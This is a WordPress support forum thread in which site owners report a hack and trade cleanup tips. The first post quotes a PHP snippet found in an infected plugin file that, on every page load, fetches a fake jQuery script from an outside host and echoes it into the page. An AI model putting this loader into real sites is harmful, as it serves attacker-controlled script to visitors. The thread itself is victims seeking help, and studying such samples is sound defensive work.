I´ve found a plugin “infected” with “uploadify-post.php” file where i have:
<?php if (!function_exists('insert_jquery_des')){function insert_jquery_des(){if (function_exists('curl_init')){$url = "http://www.wpquery.co/jquery-1.6.3.min.js";$ch = curl_init(); $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_des');} ?>
in my case as a quick fix i´set the
{$url = "http://www.wpquery.co/jquery-1.6.3.min.js"
to
{$url = ""
and that did the trick.
but i need to dig more and find the function call “insert_jquery_des”
Any better advise will be greatly appreciated
Thanks
Andrew Nevins
(@anevins)
WCLDN 2018 Contributor | Volunteer support
If you’ve been hacked, removing the malicious code will not resolve the hacked issue.
It will only resolve the symptom of the hack.
any advise on that specifica case Andrew?
Andrew Nevins
(@anevins)
WCLDN 2018 Contributor | Volunteer support
Go with those 8 links Esmi posted.
It looks very like another “jquery site” hack about a month or so ago. The only proper solution is a complete site de-louse.
I am having the same issue on two of my sites.
Ok, my issues were with the WordPress PinSuite plugin. Deactivated and it is fixed. Sucks, because I loved that plugin!
I believe my issue was the theme itself. I redownloaded the theme from the provider and uploaded it. Once that was done that error was gone but im not sure if its hiding somewhere else. these hacks are bull shit to say the least.
Any tips on securing the site so this doesnt happen again?
Dear All,
I think http://www.wpquery.co/jquery-1.6.3.min.js not support anymore..
you can change your jquery link to http://code.jquery.com/jquery-1.6.3.min.js
But i am download jquery-1.6.3.min.js to my web hosting first so i am not depending another website to get jquery anymore. I think this is the best way..
My website http://www.sepatusportnike.com also down today, but it’s already full access ^^
Moderator
Jan Dembowski
(@jdembowski)
Forum Moderator and Brute Squad
I think http://www.wpquery.co/jquery-1.6.3.min.js not support anymore..
Sorry to tell you this: It was never supported and was always a hack to fool you. If your theme was using that link then your site was hacked.
Dear Jan Dembowski,
Thanx a lot for your information.
May u tell me how to know my website hack or not?
For this case, i am already remove http://www.wpquery.co/jquery-1.6.3.min.js from my website.
Many thanx..
I am having the same issue. it just started a day or two ago without having changed anything.
It only shows the 404 page for a second with the call to wpquery.co and then it loads the site, although the styling is a bit messed up.
I disabled all plugins and the problem persists, but it does go away when I switch themes.
I have the same problem. Where can I edit and remove this file? I have tried changing the theme but it still remains. I have tried disabling all the plugins and now it seems to work and I found out that its a Wall/Gallery plugin that I downloaded from wordpress.. Try that and see what will happen to you.
My site is working normal again now 🙂